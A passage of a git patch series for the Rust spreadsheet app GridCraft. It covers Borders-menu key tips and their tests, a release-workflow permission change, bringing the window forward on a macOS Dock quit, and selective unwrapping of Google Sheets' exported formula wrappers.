item = crate::border_preview::preset_button(ui, label, preset); + if let Some(sequence) = keytip_table::item_letter_with(&prefix, "home.borders", &json!({"preset": preset}).to_string()) { + keytip(app, ui, sequence, egui::pos2(item.rect.right() - 10.0, item.rect.center().y)); + } + if item.clicked() { app.grid.last_border = preset.to_string(); act(app, "home.borders", json!({"preset": preset})); } } ui.separator(); - if ui.button("More Borders…").clicked() { + let more = ui.button("More Borders…"); + if let Some(sequence) = keytip_table::item_letter(&prefix, "dialog:formatCells") { + keytip(app, ui, sequence, egui::pos2(more.rect.right() - 10.0, more.rect.center().y)); + } + if more.clicked() { app.open_dialog("formatCells", json!({"tab": "Border"})); } }); diff --git a/crates/ui-egui/tests/keytips.rs b/crates/ui-egui/tests/keytips.rs index b4418018a..68056f9ea 100644 --- a/crates/ui-egui/tests/keytips.rs +++ b/crates/ui-egui/tests/keytips.rs @@ -768,3 +768,29 @@ fn border_keytips_without_a_command_stay_silent() { assert_eq!(borders(&h, "A1"), Default::default(), "H,B,{k:?} must not draw a border"); } } + +/// #2964: Alt, H, B opens the Borders menu (Excel shows it with each item's letter) instead of +/// leaving nothing on screen; a letter then picks its item and the menu closes, and Esc backs out. +#[test] +fn borders_keytip_opens_the_borders_menu() { + let mut h = harness(selected("A1:B2")); + sequence(&mut h, &[Key::H, Key::B], false); + h.run_steps(2); + assert_eq!(h.state().keytips.prefix(), Some("HB")); + assert!(egui::Popup::is_any_open(&h.ctx), "Alt, H, B opens the Borders menu"); + assert!(h.query_by_label("All Borders").is_some(), "the menu's items show"); + letter(&mut h, Key::A, false); + h.run_steps(2); + assert!(!egui::Popup::is_any_open(&h.ctx), "picking an item closes the menu"); + assert_eq!(h.state().keytips.prefix(), None); + assert!(sides(&h, "B2").iter().all(|s| *s != gridcraft_engine::model::BorderStyle::None), "A applied All Borders"); + + let mut h = harness(blank()); + sequence(&mut h, &[Key::H, Key::B], false); + h.run_steps(2); + assert!(egui::Popup::is_any_open(&h.ctx)); + key(&mut h, Key::Escape); + h.run_steps(2); + assert_eq!(h.state().keytips.prefix(), Some("H"), "Esc backs out to the Home letters"); + assert!(!egui::Popup::is_any_open(&h.ctx), "and closes the menu"); +} From 2b4a9fc0f3dd266158684c201b1a1b42a7817788 Mon Sep 17 00:00:00 2001 From: Harrison Smith Date: Sat, 31 Oct 2026 20:40:56 -0600 Subject: [PATCH 155/298] #2964: give Inside Borders a key tip (HBJ) Review follow-up. Inside Borders is GridCraft's own Borders menu item (Excel's menu has none), so it had no letter and was the one preset the keyboard couldn't reach from the open menu. It takes J, unused under HB. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/keytips/keytip_table.rs | 19 +++++++++++++++++++ .../src/keytips/keytip_table/generated.rs | 11 ++++++----- crates/ui-egui/src/keytips/keytips.json | 10 ++++++++++ crates/ui-egui/tests/it/keytips_generated.rs | 9 ++++++++- crates/ui-egui/tests/keytips.rs | 9 +++++++++ 5 files changed, 52 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/keytips/keytip_table.rs b/crates/ui-egui/src/keytips/keytip_table.rs index 5303298bc..751abbca6 100644 --- a/crates/ui-egui/src/keytips/keytip_table.rs +++ b/crates/ui-egui/src/keytips/keytip_table.rs @@ -224,6 +224,25 @@ mod tests { assert_eq!(item_letter_with("HB", "home.borders", "{\"preset\":\"all\"}"), Some("HBA")); assert_eq!(item_letter_with("HB", "home.borders", "{\"preset\":\"bottom\"}"), Some("HBO")); assert_eq!(item_letter_with("H", "home.borders", "{\"preset\":\"all\"}"), None); + // Every preset in the Borders menu has its letter (Inside Borders is GridCraft's own, J). + for preset in [ + "bottom", + "top", + "left", + "right", + "none", + "all", + "outside", + "thickOutside", + "doubleBottom", + "thickBottom", + "topBottom", + "topThickBottom", + "topDoubleBottom", + "inside", + ] { + assert!(item_letter_with("HB", "home.borders", &format!("{{\"preset\":\"{preset}\"}}")).is_some(), "{preset} has no letter"); + } } #[test] diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index 2a2509f08..7c014a1c6 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -46,12 +46,13 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("HBG", Entry::Finish(Action::Command("home.drawBorder"))), // Excel: Draw Border Grid; containment(Draw Border) ("HBH", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"thickBottom\"}"))), // Excel: Thick Bottom Border; Borders menu item ("HBI", Entry::Finish(Action::Pending("home.borderLineColor"))), // pending; Excel: Line Color; pending: Line Color submenu - ("HBL", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"left\"}"))), // Excel: Left Border; Borders menu item - ("HBM", Entry::Finish(Action::DialogWith("formatCells", "{\"tab\":\"Border\"}"))), // Excel: More Borders; Format Cells on its Border tab - ("HBN", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"none\"}"))), // Excel: No Border; Borders menu item + ("HBJ", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"inside\"}"))), // Excel: (none); Borders menu item GridCraft adds (Excel's menu has no Inside Borders); J is free under HB + ("HBL", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"left\"}"))), // Excel: Left Border; Borders menu item + ("HBM", Entry::Finish(Action::DialogWith("formatCells", "{\"tab\":\"Border\"}"))), // Excel: More Borders; Format Cells on its Border tab + ("HBN", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"none\"}"))), // Excel: No Border; Borders menu item ("HBO", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"bottom\"}"))), // Excel: Bottom Border; Borders menu item - ("HBP", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"top\"}"))), // Excel: Top Border; Borders menu item - ("HBR", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"right\"}"))), // Excel: Right Border; Borders menu item + ("HBP", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"top\"}"))), // Excel: Top Border; Borders menu item + ("HBR", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"right\"}"))), // Excel: Right Border; Borders menu item ("HBS", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"outside\"}"))), // Excel: Outside Borders; Borders menu item ("HBT", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"thickOutside\"}"))), // Excel: Thick Outside Borders; Borders menu item ("HBU", Entry::Finish(Action::CommandWith("home.borders", "{\"preset\":\"topDoubleBottom\"}"))), // Excel: Top and Double Bottom Border; Borders menu item diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 5dfe7b2f5..d14f457d0 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -273,6 +273,16 @@ "excel": "Line Color", "note": "pending: Line Color submenu" }, + { + "seq": "HBJ", + "kind": "command", + "target": "home.borders", + "params": { + "preset": "inside" + }, + "excel": "(none)", + "note": "Borders menu item GridCraft adds (Excel's menu has no Inside Borders); J is free under HB" + }, { "seq": "HBL", "kind": "command", diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 810338a48..02f4e99fb 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -338,6 +338,13 @@ fn keytip_hbi_() { assert!(h.state().session.journal.is_empty(), "HBI must not journal"); } +#[test] +fn keytip_hbj_() { + let mut h = harness(blank()); + sequence(&mut h, "HBJ", false); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.borders"), "HBJ must journal home.borders"); +} + #[test] fn keytip_hbl_() { let mut h = harness(blank()); @@ -2754,7 +2761,7 @@ fn keytip_q_() { #[test] fn generated_test_count_matches_the_table() { - const EXPECTED: usize = 365; + const EXPECTED: usize = 366; assert_eq!(gridcraft_ui_egui::keytips::keytip_table::SEQUENCES.len(), EXPECTED); } diff --git a/crates/ui-egui/tests/keytips.rs b/crates/ui-egui/tests/keytips.rs index 68056f9ea..e3fc7a9dc 100644 --- a/crates/ui-egui/tests/keytips.rs +++ b/crates/ui-egui/tests/keytips.rs @@ -785,6 +785,15 @@ fn borders_keytip_opens_the_borders_menu() { assert_eq!(h.state().keytips.prefix(), None); assert!(sides(&h, "B2").iter().all(|s| *s != gridcraft_engine::model::BorderStyle::None), "A applied All Borders"); + // Inside Borders, GridCraft's own item, has a letter too (J): only the inner edges. + let mut h = harness(selected("A1:B2")); + sequence(&mut h, &[Key::H, Key::B, Key::J], false); + h.run_steps(2); + let (a1, b2) = (sides(&h, "A1"), sides(&h, "B2")); + use gridcraft_engine::model::BorderStyle::{None as N, Thin}; + assert_eq!(a1, [N, Thin, N, Thin], "A1: right and bottom only"); + assert_eq!(b2, [Thin, N, Thin, N], "B2: left and top only"); + let mut h = harness(blank()); sequence(&mut h, &[Key::H, Key::B], false); h.run_steps(2); From 15c9d8c10b84e2a8e06cccfa012ab97906809869 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Sat, 31 Oct 2026 23:43:09 -0400 Subject: [PATCH 156/298] ci: grant packages write permission to release workflow --- .github/workflows/release.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 168408d87..e0c09905d 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -12,6 +12,7 @@ on: permissions: contents: write + packages: write concurrency: group: release-${{ github.ref }} From 1c7e9a2f90e583e03c11614b8d9d81697db8f52c Mon Sep 17 00:00:00 2001 From: Harrison Smith Date: Sat, 31 Oct 2026 21:45:37 -0600 Subject: [PATCH 157/298] #2964: compare menu item params as JSON values; test non-menu prefixes Review follow-up. item_letter_with compared the compact params string, so a key order or spacing difference between keytips.json and the caller would miss the item. It now takes a serde_json::Value and compares parsed values. Tests add prefixes that must not open the Borders menu (a finished sequence, another group's level, another control) and an unknown preset. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/keytips/keytip_table.rs | 38 +++++++++++++++++----- crates/ui-egui/src/ribbon/home.rs | 2 +- 2 files changed, 30 insertions(+), 10 deletions(-) diff --git a/crates/ui-egui/src/keytips/keytip_table.rs b/crates/ui-egui/src/keytips/keytip_table.rs index 751abbca6..87c85befd 100644 --- a/crates/ui-egui/src/keytips/keytip_table.rs +++ b/crates/ui-egui/src/keytips/keytip_table.rs @@ -99,12 +99,17 @@ pub fn opens_menu(prefix: &str, target: &str) -> bool { !prefix.is_empty() && is_group_level(prefix) && sequences_for(target).iter().any(|seq| seq.len() == prefix.len() + 1 && seq.starts_with(prefix)) } -/// The badge for a menu item that runs `target` with `params` (compact JSON, as `keytips.json` -/// writes it): its finish sequence one key below the prefix. Items sharing one command (the -/// Borders presets) are told apart by their params. -pub fn item_letter_with(prefix: &str, target: &str, params: &str) -> Option<&'static str> { +/// The badge for a menu item that runs `target` with `params`: its finish sequence one key below +/// the prefix. Items sharing one command (the Borders presets) are told apart by their params, +/// compared as JSON values, so key order and spacing don't matter. +pub fn item_letter_with(prefix: &str, target: &str, params: &serde_json::Value) -> Option<&'static str> { SEQUENCES.iter().find_map(|(seq, entry)| match entry { - Entry::Finish(Action::CommandWith(id, p)) if *id == target && *p == params && seq.len() == prefix.len() + 1 && seq.starts_with(prefix) => { + Entry::Finish(Action::CommandWith(id, p)) + if *id == target + && seq.len() == prefix.len() + 1 + && seq.starts_with(prefix) + && serde_json::from_str::(p).is_ok_and(|p| p == *params) => + { Some(*seq) } _ => None, @@ -218,12 +223,27 @@ mod tests { #[test] fn menu_levels_and_item_letters_with_params() { + use serde_json::json; assert!(opens_menu("HB", "home.borders")); + // Prefixes that are not the Borders menu level don't open it. assert!(!opens_menu("H", "home.borders"), "the tab level shows the HB badge, not the menu"); assert!(!opens_menu("", "home.borders")); - assert_eq!(item_letter_with("HB", "home.borders", "{\"preset\":\"all\"}"), Some("HBA")); - assert_eq!(item_letter_with("HB", "home.borders", "{\"preset\":\"bottom\"}"), Some("HBO")); - assert_eq!(item_letter_with("H", "home.borders", "{\"preset\":\"all\"}"), None); + assert!(!opens_menu("HBA", "home.borders"), "a finished sequence is not a menu level"); + assert!(!opens_menu("HI", "home.borders"), "another group's level"); + assert!(!opens_menu("HB", "home.fillColor"), "the Borders level is not another control's menu"); + // Presets sharing home.borders are told apart by their params. + assert_eq!(item_letter_with("HB", "home.borders", &json!({"preset": "all"})), Some("HBA")); + assert_eq!(item_letter_with("HB", "home.borders", &json!({"preset": "bottom"})), Some("HBO")); + assert_eq!(item_letter_with("HB", "home.borders", &json!({"preset": "nope"})), None); + assert_eq!(item_letter_with("H", "home.borders", &json!({"preset": "all"})), None); + // Params compare as JSON values: key order and spacing don't matter. + let parsed: serde_json::Value = serde_json::from_str("{ \"preset\" : \"all\" }").unwrap(); + assert_eq!(item_letter_with("HB", "home.borders", &parsed), Some("HBA")); + assert_eq!( + json!({"b": 1, "a": 2}), + serde_json::from_str::("{\"a\":2,\"b\":1}").unwrap(), + "maps compare regardless of order" + ); // Every preset in the Borders menu has its letter (Inside Borders is GridCraft's own, J). for preset in [ "bottom", @@ -241,7 +261,7 @@ mod tests { "topDoubleBottom", "inside", ] { - assert!(item_letter_with("HB", "home.borders", &format!("{{\"preset\":\"{preset}\"}}")).is_some(), "{preset} has no letter"); + assert!(item_letter_with("HB", "home.borders", &json!({"preset": preset})).is_some(), "{preset} has no letter"); } } diff --git a/crates/ui-egui/src/ribbon/home.rs b/crates/ui-egui/src/ribbon/home.rs index 34369be51..d9096beaa 100644 --- a/crates/ui-egui/src/ribbon/home.rs +++ b/crates/ui-egui/src/ribbon/home.rs @@ -180,7 +180,7 @@ pub(super) fn home(app: &mut SheetApp, ui: &mut Ui) { ("Inside Borders", "inside"), ] { let item = crate::border_preview::preset_button(ui, label, preset); - if let Some(sequence) = keytip_table::item_letter_with(&prefix, "home.borders", &json!({"preset": preset}).to_string()) { + if let Some(sequence) = keytip_table::item_letter_with(&prefix, "home.borders", &json!({"preset": preset})) { keytip(app, ui, sequence, egui::pos2(item.rect.right() - 10.0, item.rect.center().y)); } if item.clicked() { From a30644c872d1f27a1ad670f79da25c22330851a2 Mon Sep 17 00:00:00 2001 From: aiongg Date: Sun, 1 Nov 2026 04:26:47 +0000 Subject: [PATCH 158/298] fix(quit): bring the asking window to the front on a Dock quit Quit from the Dock reaches GridCraft while it is behind other apps, hidden or minimized. The Save Changes question opened in the workbook's window, but nothing brought that window forward when it was already the active one, so the app looked stuck. The window is restored, shown and focused in that order, since macOS ignores Focus for a minimized window or a hidden app. --- crates/ui-egui/src/app.rs | 1 + crates/ui-egui/src/app/quit.rs | 1 + crates/ui-egui/src/doc_windows.rs | 9 +++++++++ crates/ui-egui/src/lib.rs | 3 +++ crates/ui-egui/tests/doc_windows.rs | 17 +++++++++++++++++ 5 files changed, 31 insertions(+) diff --git a/crates/ui-egui/src/app.rs b/crates/ui-egui/src/app.rs index 6fa5def4f..068be59a4 100644 --- a/crates/ui-egui/src/app.rs +++ b/crates/ui-egui/src/app.rs @@ -75,6 +75,7 @@ impl SheetApp { macros: macro_ui::MacroUi::default(), started: now_ms(), allow_close: false, + bring_forward: false, open_switch_windows: false, ui_window: None, parked: HashMap::new(), diff --git a/crates/ui-egui/src/app/quit.rs b/crates/ui-egui/src/app/quit.rs index d4479d191..ffa230c34 100644 --- a/crates/ui-egui/src/app/quit.rs +++ b/crates/ui-egui/src/app/quit.rs @@ -42,6 +42,7 @@ impl SheetApp { self.enter_window(window); let title = self.session.active().map(|d| d.display_title()).unwrap_or_default(); self.open_dialog("saveChanges", json!({"title": title, "quit": true})); + self.bring_forward = true; } None => { self.allow_close = true; diff --git a/crates/ui-egui/src/doc_windows.rs b/crates/ui-egui/src/doc_windows.rs index 7ee1efaa1..7bf3a799d 100644 --- a/crates/ui-egui/src/doc_windows.rs +++ b/crates/ui-egui/src/doc_windows.rs @@ -160,6 +160,15 @@ impl DocWindows { self.list.focus(id); self.viewports.focus(ctx, id); } + // macOS ignores Focus for a minimized window or a hidden app, so restore and show first. + if std::mem::take(&mut app.bring_forward) + && let Some(id) = self.list.active() + { + let vp = self.viewports.viewport_id(id); + ctx.send_viewport_cmd_to(vp, egui::ViewportCommand::Visible(true)); + ctx.send_viewport_cmd_to(vp, egui::ViewportCommand::Minimized(false)); + ctx.send_viewport_cmd_to(vp, egui::ViewportCommand::Focus); + } } /// Draws every window. Call from the root viewport's UI each frame, in place of diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index db9ab316f..c5a9c0030 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -284,6 +284,9 @@ pub struct SheetApp { /// Every unsaved workbook has been answered for quitting (or `app.quit` asked): the next /// window close goes through. pub allow_close: bool, + /// A quit question is waiting in the active window: [`doc_windows`] brings its native window + /// to the front, also when the app is hidden or the window minimized (a Dock quit). + pub bring_forward: bool, /// View › Switch Windows opens its list on the next frame the View tab draws (asked for by a /// key tip, the command search or a menu, possibly while another tab was showing). pub(crate) open_switch_windows: bool, diff --git a/crates/ui-egui/tests/doc_windows.rs b/crates/ui-egui/tests/doc_windows.rs index 46427f3bf..1d72739e3 100644 --- a/crates/ui-egui/tests/doc_windows.rs +++ b/crates/ui-egui/tests/doc_windows.rs @@ -232,6 +232,23 @@ fn quit_asks_about_each_unsaved_workbook_in_its_window_and_cancel_stops() { assert!(sent_to(&sent, ViewportId::ROOT, &ViewportCommand::Close), "both answered: the app quits: {sent:?}"); } +#[test] +fn a_quit_question_brings_its_window_to_the_front_from_the_background() { + // A Dock quit reaches the app while it is behind other apps, hidden or minimized. + let mut desk = Desk::new(true); + desk.app.run("cell.set", json!({"cell": "A1", "input": "1"})).unwrap(); + desk.frames(3); + let w = desk.window_of(0); + + let sent = desk.frame_with(|app, ctx| app.request_quit(ctx)); + assert_eq!(desk.app.dialog.as_ref().map(|d| d.name()), Some("saveChanges")); + for cmd in [ViewportCommand::Visible(true), ViewportCommand::Minimized(false), ViewportCommand::Focus] { + assert!(sent_to(&sent, desk.viewport(w), &cmd), "{cmd:?} missing: {sent:?}"); + } + let sent = desk.frames(2); + assert!(!sent_to(&sent, desk.viewport(w), &ViewportCommand::Focus), "only once: {sent:?}"); +} + #[test] fn the_root_adopts_the_remaining_window_with_its_workbook_and_state() { let mut desk = Desk::new(true); From 7ed8a9f3128626b152c290ba24353d5e04d770ab Mon Sep 17 00:00:00 2001 From: aiongg Date: Sun, 1 Nov 2026 04:30:17 +0000 Subject: [PATCH 159/298] fix(quit): bring GridCraft forward through AppKit for a Dock quit egui's Visible/Minimized/Focus go through winit, whose macOS focus_window skips a minimized window or a hidden app, and macOS can refuse the activation. When a Dock quit opens a question, unhide the app, deminiaturize its windows and activate it through AppKit, and bounce the Dock icon if it still isn't active. --- apps/gridcraft/Cargo.toml | 4 ++++ apps/gridcraft/src/apple_events.rs | 29 ++++++++++++++++++++++++++++- 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/apps/gridcraft/Cargo.toml b/apps/gridcraft/Cargo.toml index e5ad73da4..3082080e7 100644 --- a/apps/gridcraft/Cargo.toml +++ b/apps/gridcraft/Cargo.toml @@ -52,6 +52,10 @@ muda = { version = "0.21", default-features = false } # by PdfCraft and PhotoCraft) registers the handler (Objective-C interop needs unsafe, which our # workspace forbids) behind a safe API. Pinned exactly: review the diff before bumping. fmv-macos-events = "=0.1.0" +# apple_events.rs brings the app forward for a Dock quit's question. Already in Cargo.lock (muda, +# winit); pinned exactly to the same versions. +objc2 = "=0.6.5" +objc2-app-kit = { version = "=0.3.2", default-features = false, features = ["std", "NSApplication", "NSResponder", "NSWindow"] } # tests/mac_menu_appkit.rs: reads AppKit's menu bar back. Already in Cargo.lock (muda, winit); # pinned exactly to the same versions. diff --git a/apps/gridcraft/src/apple_events.rs b/apps/gridcraft/src/apple_events.rs index 4d596f957..b0898eced 100644 --- a/apps/gridcraft/src/apple_events.rs +++ b/apps/gridcraft/src/apple_events.rs @@ -11,6 +11,8 @@ use fmv_macos_events::{Event, Inbox, Registration}; use gridcraft_ui_egui::SheetApp; +use objc2::MainThreadMarker; +use objc2_app_kit::{NSApplication, NSRequestUserAttentionType}; /// Keeps the Apple-event handlers registered; hold it until the event loop returns. pub struct AppleEvents { @@ -44,7 +46,32 @@ pub fn poll(inbox: &Inbox, app: &mut SheetApp, ctx: &egui::Context) { } } // Quit from the Dock or the system: each unsaved workbook is asked about in its window. - Event::Quit => app.request_quit(ctx), + Event::Quit => { + app.request_quit(ctx); + if app.dialog.is_some() { + bring_app_forward(); + } + } } } } + +/// A Dock quit reaches GridCraft behind other apps, hidden or minimized, and its question has to +/// be seen. egui's Focus goes through winit, which skips a minimized window or a hidden app, and +/// macOS may refuse an activation it didn't expect, so ask AppKit directly and bounce the Dock +/// icon until the user switches over. +fn bring_app_forward() { + let Some(mtm) = MainThreadMarker::new() else { return }; + let ns_app = NSApplication::sharedApplication(mtm); + ns_app.unhide(None); + for window in ns_app.windows().to_vec() { + if window.isMiniaturized() { + window.deminiaturize(None); + } + } + #[allow(deprecated)] // `activate` needs macOS 14; this works on every supported version. + ns_app.activateIgnoringOtherApps(true); + if !ns_app.isActive() { + ns_app.requestUserAttention(NSRequestUserAttentionType::CriticalRequest); + } +} From a1e0383056741404d49d253e407b6d444499253f Mon Sep 17 00:00:00 2001 From: Harrison Smith Date: Sun, 1 Nov 2026 00:08:40 -0600 Subject: [PATCH 160/298] #2871: unwrap Google Sheets' wrapper only when GridCraft calculates the formula A formula calling a Google-only function (GOOGLETRANSLATE, QUERY, ARRAYFORMULA...) opened as #NAME? where the wrapper had shown the cached value, as Excel does. The XLSX reader now unwraps a cell formula only when every function inside is known: read_xlsx_with takes the predicate (the xlsx crate can't depend on the function library) and the engine passes gridcraft_calc::is_known_function. Unwrapping stays in the reader so shared formulas are shifted from the unwrapped master. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 3 +- crates/engine/src/io/tests.rs | 29 ++++ crates/xlsx/src/fmla.rs | 146 +++++++++++++------ crates/xlsx/src/lib.rs | 17 ++- crates/xlsx/src/read.rs | 6 +- crates/xlsx/src/sheet_read.rs | 9 +- crates/xlsx/src/tests/google_sheets_dummy.rs | 31 ++-- docs/file-format-parity.md | 21 +-- 8 files changed, 189 insertions(+), 73 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 71060a4c9..1c4c30095 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -153,7 +153,8 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, } // Text named `.xlsx` is read as text. if sniffed == gridcraft_xlsx::Format::Xlsx || (kind == Some(FileKind::Xlsx) && sniffed != gridcraft_xlsx::Format::Csv) { - let (wb, report) = gridcraft_xlsx::read_xlsx(bytes).map_err(|e| { + // Google Sheets' export wrapper is read as the formula inside when GridCraft calculates it (#2871). + let (wb, report) = gridcraft_xlsx::read_xlsx_with(bytes, &gridcraft_calc::is_known_function).map_err(|e| { EngineError::Other(match (&e, gridcraft_xlsx::oversized_part(bytes)) { (gridcraft_xlsx::IoError::TooLarge(_), Some((part, size))) => part_too_large_message(name, &part, size), _ => format!("We can't open '{name}': {e}"), diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 130b1a6d9..77d61a9fe 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -561,3 +561,32 @@ fn content_wins_over_a_mismatched_extension() { assert_eq!(opened.sheet(0).unwrap().value(CellRef::new(0, 1)), gridcraft_core::Value::text("b"), "{name}"); } } + +/// #2871: opening an XLSX reads Google Sheets' `IFERROR(__xludf.DUMMYFUNCTION("…"),cached)` +/// wrapper as the formula inside when GridCraft calculates every function it calls (including +/// the evaluator's own, such as ROW), and keeps the wrapper, and so the cached value, for a +/// Google-only function. +#[test] +fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() { + use gridcraft_core::{CellRef, Value}; + let mut wb = Workbook::new(); + let sh = std::sync::Arc::make_mut(&mut wb.sheets[0]); + let wrapped = [ + ("A1", "IFERROR(__xludf.DUMMYFUNCTION(\"SUM(ROW(B1:B3))\"),6)", Value::Number(6.0)), + ("A2", "IFERROR(__xludf.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")", Value::text("salut")), + ]; + for (at, text, value) in &wrapped { + let cell = gridcraft_model::Cell { + value: value.clone(), + formula: Some(std::sync::Arc::new(gridcraft_model::Formula::new(text))), + ..Default::default() + }; + sh.cells.set(CellRef::parse(at).unwrap(), cell); + } + let bytes = gridcraft_xlsx::write_xlsx(&wb).unwrap(); + let (opened, _) = open_bytes("google.xlsx", &bytes).unwrap(); + let text = |at: &str| opened.sheets[0].cells.get(CellRef::parse(at).unwrap()).and_then(|c| c.formula.as_ref()).map(|f| f.text.clone()); + assert_eq!(text("A1").as_deref(), Some("SUM(ROW(B1:B3))")); + assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")")); + assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut"))); +} diff --git a/crates/xlsx/src/fmla.rs b/crates/xlsx/src/fmla.rs index 77c13511b..29dd20870 100644 --- a/crates/xlsx/src/fmla.rs +++ b/crates/xlsx/src/fmla.rs @@ -140,27 +140,45 @@ fn strip_param_prefix(n: String) -> String { pub fn from_file(text: &str) -> String { let body = text.strip_prefix('=').unwrap_or(text); match gridcraft_formula::parse(body) { - Ok(e) => { - let e = unwrap_dummy_functions(e); - gridcraft_formula::print(&e.map(&mut |x| match x { - Expr::Name(n) => Expr::Name(strip_param_prefix(n)), - Expr::Call(n, args) => Expr::Call(strip_param_prefix(n), args), - other => other, - })) - } + Ok(e) => gridcraft_formula::print(&strip_param_prefixes(e)), Err(_) => body.to_string(), } } +fn strip_param_prefixes(e: Expr) -> Expr { + e.map(&mut |x| match x { + Expr::Name(n) => Expr::Name(strip_param_prefix(n)), + Expr::Call(n, args) => Expr::Call(strip_param_prefix(n), args), + other => other, + }) +} + /// The function Google Sheets' XLSX export wraps formulas in when it thinks Excel lacks one of /// their functions. const DUMMY_FUNCTION: &str = "__xludf.DUMMYFUNCTION"; +/// Whether `text` may hold Google Sheets' export wrapper: a cheap test before parsing. +fn mentions_dummy_function(text: &str) -> bool { + const NEEDLE: &[u8] = b"DUMMYFUNCTION"; + text.as_bytes().windows(NEEDLE.len()).any(|w| w.eq_ignore_ascii_case(NEEDLE)) +} + +/// The model text of `text` (a formula as read, see [`from_file`]) with its Google Sheets export +/// wrappers replaced (see [`crate::read_xlsx_with`]), or `None` when nothing changes. +pub(crate) fn unwrap_google_sheets(text: &str, known: &dyn Fn(&str) -> bool) -> Option { + if !mentions_dummy_function(text) { + return None; + } + let e = gridcraft_formula::parse(text.strip_prefix('=').unwrap_or(text)).ok()?; + let unwrapped = unwrap_dummy_functions(e, known)?; + Some(gridcraft_formula::print(&strip_param_prefixes(unwrapped))) +} + /// The original formula inside Google Sheets' export wrapper /// `IFERROR(__xludf.DUMMYFUNCTION(""),)`, if `e` is that -/// wrapper and the text parses. The parser has already undone the doubled quotes. The cached value -/// is also the cell's ``, which the reader keeps as the cell's value. -fn dummy_function_inner(e: &Expr) -> Option { +/// wrapper, the text parses and every function it calls is `known`. The parser has already undone +/// the doubled quotes. The cached value is also the cell's ``, which the reader keeps. +fn dummy_function_inner(e: &Expr, known: &dyn Fn(&str) -> bool) -> Option { let Expr::Call(name, args) = e else { return None }; // The parser has already dropped an `_xlfn.` prefix from IFERROR. if !name.eq_ignore_ascii_case("IFERROR") { @@ -176,27 +194,28 @@ fn dummy_function_inner(e: &Expr) -> Option { if src.len() > gridcraft_formula::MAX_FORMULA_LEN && src.chars().count() > gridcraft_formula::MAX_FORMULA_LEN { return None; } - gridcraft_formula::parse(src).ok() + let parsed = gridcraft_formula::parse(src).ok()?; + // A function GridCraft can't calculate would show `#NAME?` where Excel shows the cached + // value; a wrapper inside the text is one too, so only one level is ever unwrapped. + let mut all_known = true; + parsed.walk(&mut |x| { + if let Expr::Call(n, _) = x { + all_known &= known(n); + } + }); + all_known.then_some(parsed) } -/// Replaces each Google Sheets export wrapper (see [`dummy_function_inner`]) with the formula it -/// holds, for the whole formula or anywhere inside it. One level only: wrappers in the unwrapped -/// text stay as they are, so the work is bounded by the formula's length. If the result no longer -/// parses (nesting beyond the parser's limit), the formula is kept as the file had it. -fn unwrap_dummy_functions(e: Expr) -> Expr { - let mut found = false; - e.walk(&mut |x| { - found |= matches!(x, Expr::Call(n, _) if n.eq_ignore_ascii_case(DUMMY_FUNCTION)); - }); - if !found { - return e; - } +/// `e` with each Google Sheets export wrapper (see [`dummy_function_inner`]) replaced by the +/// formula it holds, for the whole formula or anywhere inside it, or `None` when none is. If the +/// result no longer parses (nesting beyond the parser's limit), nothing is replaced. +fn unwrap_dummy_functions(e: Expr, known: &dyn Fn(&str) -> bool) -> Option { // The whole formula: no parentheses needed. - if let Some(inner) = dummy_function_inner(&e) { - return inner; + if let Some(inner) = dummy_function_inner(&e, known) { + return Some(inner); } - let original = e.clone(); - let rewritten = e.map(&mut |x| match dummy_function_inner(&x) { + let mut found = false; + let rewritten = e.map(&mut |x| match dummy_function_inner(&x, known) { // The printer writes no parentheses of its own, so keep the 